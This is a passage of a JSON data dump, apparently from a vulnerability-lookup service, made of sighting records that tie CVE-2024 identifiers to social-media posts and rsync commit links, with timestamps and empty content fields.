"2025-01-14T23:53:11.390719Z"}, {"uuid": "2b0fa817-f810-4cd4-b666-417e8a10ca7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12226", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113836704921373684", "content": "", "creation_timestamp": "2025-01-16T06:51:08.496521Z"}, {"uuid": "72fff6b8-4a0d-408e-9bbc-e6a84aed0083", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12365", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lftvss2kp22q", "content": "", "creation_timestamp": "2025-01-16T08:54:36.610930Z"}, {"uuid": "34dfbf4f-94c6-4060-b72a-9619ef0e34d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113797201168877858", "content": "", "creation_timestamp": "2025-01-09T07:24:49.158049Z"}, {"uuid": "41b60020-ec79-461c-9b17-26113de939ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://git.samba.org/?p=rsync.git;a=commit;h=42e2b56c4ede3ab164f9a5c6dae02aa84606a6c1", "content": "", "creation_timestamp": "2024-11-05T20:01:03.000000Z"}, {"uuid": "37785b5a-f386-407b-b4e2-86c9b61091ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://bsky.app/profile/zen-logic.bsky.social/post/3lfskqwhsjc2h", "content": "", "creation_timestamp": "2025-01-15T20:04:03.423472Z"}, {"uuid": "67ae41d2-5256-467f-8472-2ec7f7cc4360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12105", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113759492380346040", "content": "", "creation_timestamp": "2025-01-02T15:34:59.267570Z"}, {"uuid": "c04d79b1-536c-481e-b616-5fe57eaf5f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12106", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113759492380346040", "content": "", "creation_timestamp": "2025-01-02T15:34:59.306260Z"}, {"uuid": "1aea4c57-31b7-4f26-b089-80234bc234a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113759492380346040", "content": "", "creation_timestamp": "2025-01-02T15:34:59.331168Z"}, {"uuid": "a6a3c2a4-d827-497e-bde0-73092a112d50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lergut4g322m", "content": "", "creation_timestamp": "2025-01-02T15:56:47.618535Z"}, {"uuid": "ca6e0304-b092-4724-8e97-7f8d57b715f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12907", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerhwdjptz25", "content": "", "creation_timestamp": "2025-01-02T16:15:33.772176Z"}, {"uuid": "4ead7b90-9f7d-4ba7-a7f4-e96cc573fbc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12907", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lerjxlkufg2g", "content": "", "creation_timestamp": "2025-01-02T16:52:03.759624Z"}, {"uuid": "2b442871-d289-4f7c-b608-b59f9bb1fe35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://mstdn.ca/users/rfwaveio/statuses/113759821558228119", "content": "", "creation_timestamp": "2025-01-02T16:58:44.617935Z"}, {"uuid": "0465cc18-6f5a-43e3-8416-86a157ef9088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lespfct4fc27", "content": "", "creation_timestamp": "2025-01-03T04:01:50.037046Z"}, {"uuid": "dded988f-f168-495b-9d0e-e5176cd7876a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3less57l3n22w", "content": "", "creation_timestamp": "2025-01-03T04:51:01.211372Z"}, {"uuid": "4d47378f-a3b8-48ac-8ff4-8f8deff3b27f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12912", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3leswxtg7dk2j", "content": "", "creation_timestamp": "2025-01-03T06:17:27.857028Z"}, {"uuid": "3cc437be-b723-456b-ac52-e29ec1b0d7c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12108", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3leswz6dllc2j", "content": "", "creation_timestamp": "2025-01-03T06:18:12.948285Z"}, {"uuid": "b9c974a0-b443-4761-8e53-f623d6deb717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113763450436894788", "content": "", "creation_timestamp": "2025-01-03T08:21:33.649323Z"}, {"uuid": "e5019c7b-7124-4399-85c1-9005d55a0d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12132", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113763456158197001", "content": "", "creation_timestamp": "2025-01-03T08:23:01.224724Z"}, {"uuid": "d7f50e9a-d550-40b6-9428-33391a3069c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12132", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3letavqjsnn2k", "content": "", "creation_timestamp": "2025-01-03T09:15:14.959315Z"}, {"uuid": "c73b19c7-649a-4ccf-a81a-e390e9a12b47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12132", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3letdae5wd22q", "content": "", "creation_timestamp": "2025-01-03T09:56:59.707074Z"}, {"uuid": "236aa933-cb98-4fb2-a5bc-73dc8375afed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3letf3uq72y2q", "content": "", "creation_timestamp": "2025-01-03T10:30:15.860662Z"}, {"uuid": "41af54a5-3a15-4bb3-bb67-039af44a44be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3letnnryie22k", "content": "", "creation_timestamp": "2025-01-03T13:03:26.611893Z"}, {"uuid": "8e93a2ac-9842-44a6-8c27-5371ef192e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3letozqo5u42j", "content": "", "creation_timestamp": "2025-01-03T13:28:02.135815Z"}, {"uuid": "48297c1a-27d6-4032-be86-eeb0fa5de0e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12237", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113766784501508927", "content": "", "creation_timestamp": "2025-01-03T22:29:29.148339Z"}, {"uuid": "c69062d1-2918-4c1d-9d81-8affa6d044d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12356", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/113767052661066815", "content": "", "creation_timestamp": "2025-01-03T23:37:41.673008Z"}, {"uuid": "edf68e1c-29c7-4120-aff1-b0b7ad2891c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12047", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113768895249923009", "content": "", "creation_timestamp": "2025-01-04T07:26:19.761355Z"}, {"uuid": "b7ae9dcf-3021-4367-8b10-bbcf74f344e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12545", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113768895264374934", "content": "", "creation_timestamp": "2025-01-04T07:26:19.968997Z"}, {"uuid": "dc16e3e4-860f-4391-87ad-3ed310183402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12701", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113768954267290945", "content": "", "creation_timestamp": "2025-01-04T07:41:21.001942Z"}, {"uuid": "efb1d9ab-d7fe-4238-9be4-fd7c79ba7ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12583", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113769121406411898", "content": "", "creation_timestamp": "2025-01-04T08:23:51.020777Z"}, {"uuid": "a152cecf-774d-4b39-8393-94abba61c758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12221", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113769365715143941", "content": "", "creation_timestamp": "2025-01-04T09:26:04.948350Z"}, {"uuid": "1b281158-b86e-4f19-8432-1e665363fae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12279", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113769818823146560", "content": "", "creation_timestamp": "2025-01-04T11:21:09.185644Z"}, {"uuid": "3d1432a5-24a2-4e31-a075-043de4c3b30c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12475", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113769818837566127", "content": "", "creation_timestamp": "2025-01-04T11:21:10.207013Z"}, {"uuid": "5e41b0be-d885-4776-b548-7d0cc0be55b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12195", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113769844738584802", "content": "", "creation_timestamp": "2025-01-04T11:27:43.972106Z"}, {"uuid": "5e95961b-4ffc-41b0-9536-a01d6ded667c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12195", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lew3h6qn5v22", "content": "", "creation_timestamp": "2025-01-04T12:15:37.154752Z"}, {"uuid": "3268888d-c2ae-4034-abf3-e7e014057787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12279", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lew3hbl2km2a", "content": "", "creation_timestamp": "2025-01-04T12:15:40.039166Z"}, {"uuid": "1c7c5e7e-cd3c-4acb-b731-04da310854e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12475", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lew3hdtofh2m", "content": "", "creation_timestamp": "2025-01-04T12:15:42.239722Z"}, {"uuid": "9b0f1abf-01c5-4056-bad9-04b0cce4549a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12475", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lew4x3zdad2q", "content": "", "creation_timestamp": "2025-01-04T12:42:25.076937Z"}, {"uuid": "8466e144-e291-40bf-95d0-a91c965349fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12279", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lew4x44kqt2q", "content": "", "creation_timestamp": "2025-01-04T12:42:25.533447Z"}, {"uuid": "a3262be7-d4a1-4de5-ac7e-4b1474e661ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12195", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lew4x47xzh2u", "content": "", "creation_timestamp": "2025-01-04T12:42:26.074788Z"}, {"uuid": "90e113e7-11ea-49ce-af91-d47d908348d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://bsky.app/profile/barrymurrell.bsky.social/post/3leynxkqook2c", "content": "", "creation_timestamp": "2025-01-05T12:52:12.895757Z"}, {"uuid": "b47d3a4d-93c0-4822-a5b5-bbc3b181dd20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lf2bjz6afs2i", "content": "", "creation_timestamp": "2025-01-06T04:15:18.231327Z"}, {"uuid": "b0e79082-9eb1-4b4b-935e-b0bdb694f7ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12106", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lf2bjz6afs2i", "content": "", "creation_timestamp": "2025-01-06T04:15:18.331010Z"}, {"uuid": "3b8b0126-694c-4dac-89d2-1d975b875e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12105", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lf2bjz6afs2i", "content": "", "creation_timestamp": "2025-01-06T04:15:18.409234Z"}, {"uuid": "567f5c95-a73c-4b06-902f-a18606bc11a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12302", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113779894279783962", "content": "", "creation_timestamp": "2025-01-06T06:03:27.085260Z"}, {"uuid": "7afc4467-0629-4ace-b457-9378710d184f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12311", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113779894293721804", "content": "", "creation_timestamp": "2025-01-06T06:03:31.376886Z"}, {"uuid": "837583f2-d43d-4b9a-b79b-6b52d6cf00d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12302", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf2ib65k4k22", "content": "", "creation_timestamp": "2025-01-06T06:15:32.752712Z"}, {"uuid": "0b7da31a-4715-4d34-86cf-c526c953d49e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12311", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf2ibaes2f2l", "content": "", "creation_timestamp": "2025-01-06T06:15:34.951162Z"}, {"uuid": "bb7c4a91-0477-4846-9b5a-3e2314d0a853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12311", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf2k2xp2kp2e", "content": "", "creation_timestamp": "2025-01-06T06:47:53.034692Z"}, {"uuid": "db0e516c-3c28-4909-baa2-27cd945fa42e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12302", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf2k2xt3ib2k", "content": "", "creation_timestamp": "2025-01-06T06:47:53.549162Z"}, {"uuid": "83ed3382-3787-47d4-bd4d-1c83ef45f968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12970", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf34emq3gx2o", "content": "", "creation_timestamp": "2025-01-06T12:15:23.451461Z"}, {"uuid": "5453e1b6-9df7-44dc-8797-fb0ca089e3f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12970", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf367ak26k2q", "content": "", "creation_timestamp": "2025-01-06T12:48:10.351604Z"}, {"uuid": "a8998fae-3a37-4b79-bb43-ae25d50b3469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/rodtrent.bsky.social/post/3lf3bfdn32c2h", "content": "", "creation_timestamp": "2025-01-06T13:45:16.465583Z"}, {"uuid": "bb0ca848-edf0-4051-a3a3-52287c566e8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/rodtrent.bsky.social/post/3lf3bfdn32c2h", "content": "", "creation_timestamp": "2025-01-06T13:45:16.515238Z"}, {"uuid": "fc294f67-9225-4b93-bdbe-4c51ed1de297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12996", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3ggvwcst2a", "content": "", "creation_timestamp": "2025-01-06T15:15:37.844714Z"}, {"uuid": "4ddf7832-5788-497c-b956-8ea73e451c49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12997", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3ggy6q3d2m", "content": "", "creation_timestamp": "2025-01-06T15:15:40.414599Z"}, {"uuid": "ed46cd59-19b2-4984-9bbb-e378990db433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12997", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3itconia2i", "content": "", "creation_timestamp": "2025-01-06T15:58:21.009952Z"}, {"uuid": "f736cd62-530b-4d34-bc74-ef8b0909a929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12996", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3itcyzux2k", "content": "", "creation_timestamp": "2025-01-06T15:58:21.733663Z"}, {"uuid": "d9a1cf5a-76d7-465e-87ae-f3680e2d3dfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12464", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785617251037285", "content": "", "creation_timestamp": "2025-01-07T06:18:52.499538Z"}, {"uuid": "923c186d-5201-453c-b4f4-14588dfca250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/binitamshah.bsky.social/post/3lflasut3x226", "content": "", "creation_timestamp": "2025-01-12T22:17:36.973793Z"}, {"uuid": "046d87d4-c6e4-4501-9f58-b437d99d189b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://git.samba.org/?p=rsync.git;a=commit;h=0902b52f6687b1f7952422080d50b93108742e53", "content": "", "creation_timestamp": "2024-10-30T07:06:34.000000Z"}, {"uuid": "54ecb6c5-d4f2-4f5b-a78f-a7a9ab0f8429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113800238627441326", "content": "", "creation_timestamp": "2025-01-09T20:17:17.198924Z"}, {"uuid": "ec83e8dd-2f89-4458-85c0-11a2e044172e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113797231370509260", "content": "", "creation_timestamp": "2025-01-09T07:32:29.877200Z"}, {"uuid": "d214c1cb-a9a3-4eb5-bfd0-8e3fefa3e3c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113797231384459462", "content": "", "creation_timestamp": "2025-01-09T07:32:30.166643Z"}, {"uuid": "e3bc1fcd-7b7c-4595-984d-0b682c79b4e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/bot.reality.eth.link/post/3lft2jhvc2v2k", "content": "", "creation_timestamp": "2025-01-16T00:46:12.512111Z"}, {"uuid": "16486eef-665a-4d55-8fb8-39d196dd7824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://fosstodon.org/users/cedric/statuses/113831543046243690", "content": "", "creation_timestamp": "2025-01-15T08:58:25.196279Z"}, {"uuid": "18c091a8-91a4-4fcc-be71-ce231a855aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12847", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/113805235181948713", "content": "", "creation_timestamp": "2025-01-10T17:27:59.693724Z"}, {"uuid": "4c429f31-b1ed-42ec-ac2a-1ea0f8e40ec3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/hrbrmstr.dev/post/3lffppc4nkl2w", "content": "", "creation_timestamp": "2025-01-10T17:28:00.296419Z"}, {"uuid": "9b9a63f3-46bb-4cf2-ba0c-59fdc70089c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12847", "type": "seen", "source": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3lffppifdjbc2", "content": "", "creation_timestamp": "2025-01-10T17:28:21.944098Z"}, {"uuid": "9bfdf63b-aaad-4add-9d08-47d1b834361b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12403", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113831661336637777", "content": "", "creation_timestamp": "2025-01-15T09:28:29.460289Z"}, {"uuid": "3dd0e832-1a37-4240-af18-cfda812d10a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12423", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113831661350945028", "content": "", "creation_timestamp": "2025-01-15T09:28:29.746569Z"}, {"uuid": "f4e33ea7-89d0-4024-a718-48c0e9eeb246", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12083", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfo3ahmndv2t", "content": "", "creation_timestamp": "2025-01-14T01:15:45.333097Z"}, {"uuid": "c7079397-07ce-4477-8feb-4247b5071b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfoheay5zu2r", "content": "", "creation_timestamp": "2025-01-14T04:52:37.591915Z"}, {"uuid": "2ef86c0f-3344-455f-86fc-19316bde53b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12818", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113831661364719925", "content": "", "creation_timestamp": "2025-01-15T09:28:30.120510Z"}, {"uuid": "994386fb-e08f-4654-8ce5-4fdf6a721385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/piyokango.bsky.social/post/3lfgnd2na222z", "content": "", "creation_timestamp": "2025-01-11T02:18:05.528786Z"}, {"uuid": "b4ea882f-ff2d-41da-bb8c-b9fe27ca47b7", 